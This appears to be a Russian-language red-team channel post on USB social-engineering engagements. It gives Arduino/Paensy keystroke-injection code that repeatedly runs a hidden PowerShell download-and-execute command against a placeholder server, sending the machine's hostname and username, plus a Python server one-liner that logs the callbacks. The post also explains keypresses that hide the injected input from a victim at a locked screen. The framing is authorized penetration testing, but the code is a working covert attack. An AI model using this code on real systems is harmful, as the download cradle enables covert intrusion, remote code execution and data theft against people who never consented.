Если во время выполнения работы по социальной инженерии — будь то через флешки или физику, — нам не требуется делать пробив, мы можем просто отправить запрос на подконтрольный сервер и залогировать входящие запросы.
Поскольку заказчику необходимо знать, кому проводить обучение после завершения кампании 😐, нам нужно собрать минимальную информацию о хосте, с которого был отправлен запрос. В скрипте ниже, используя переменные окружения, мы отправляем с виндовой тачки запрос, содержащий hostname и username.
Помимо сбора информации, такой подход помогает не потерять запросы, которые мы можем пропустить из-за надоедливых сканов со стороны Shodan, Censys и пр.
Скрипт, который я написал и активно использую, работает с модулем Paensy, разбор которого был ранее на канале:
#include <paensy.h>
void setup() {
delay(5000);
SetDelay(100);
while (true) {
delay(5000);
RunCommand("powershell -windowstyle hidden IEX (New-Object System.Net.WebClient).DownloadString('http://IP:PORT/%computername%/%username%')");
PressKey(KEY_ENTER, 1);
PressKey(KEY_ESC, 1);
Keyboard.press(KEY_LEFT_SHIFT);
Keyboard.press(KEY_LEFT_ALT);
Keyboard.releaseAll();
delay(500);
RunCommand("powershell -windowstyle hidden IEX (New-Object System.Net.WebClient).DownloadString('http://IP:PORT/%computername%/%username%')");
PressKey(KEY_ENTER, 1);
PressKey(KEY_ESC, 1);
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press(KEY_SPACE);
Keyboard.releaseAll();
delay(500);
RunCommand("powershell -windowstyle hidden IEX (New-Object System.Net.WebClient).DownloadString('http://IP:PORT/%computername%/%username%')");
PressKey(KEY_ENTER, 1);
PressKey(KEY_ESC, 1);
PressKey(KEY_BACKSPACE, 1);
delay(1800000);
}
}
void loop() {
}
А для того, чтобы отлавливать запросы, мы можем использовать простой Python HTTP Server:
sudo PYTHONUNBUFFERED=x python3 -m http.server PORT &> ../http.server.log & echo $! > ../http.server.pid
Здесь мы:
1. Отключаем буферизацию вывода;
2. Перенаправляем как stderr, так и stdout в лог-файл;
3. Записываем pid в файл, чтоб не потерять его и спокойно убить процесс, в случае необходимости.
По основному скрипту:
1. Основной скрипт для Arduino меняет язык раскладки, используя всего два сочетания клавиш, что можно изменить по вашему усмотрению;
2. Если цель еще не на рабочем месте, можно вставить плату и забыть о ней— скрипт выполняется каждые полчаса в бесконечном цикле;
3. Нажатие же клавиш типа ESC,ENTER и BACKSPACE нужно для того, чтобы, если компьютер заблокирован, у таргета стирались те данные, которые были введены в процессе выполнения скрипта.
не палимся)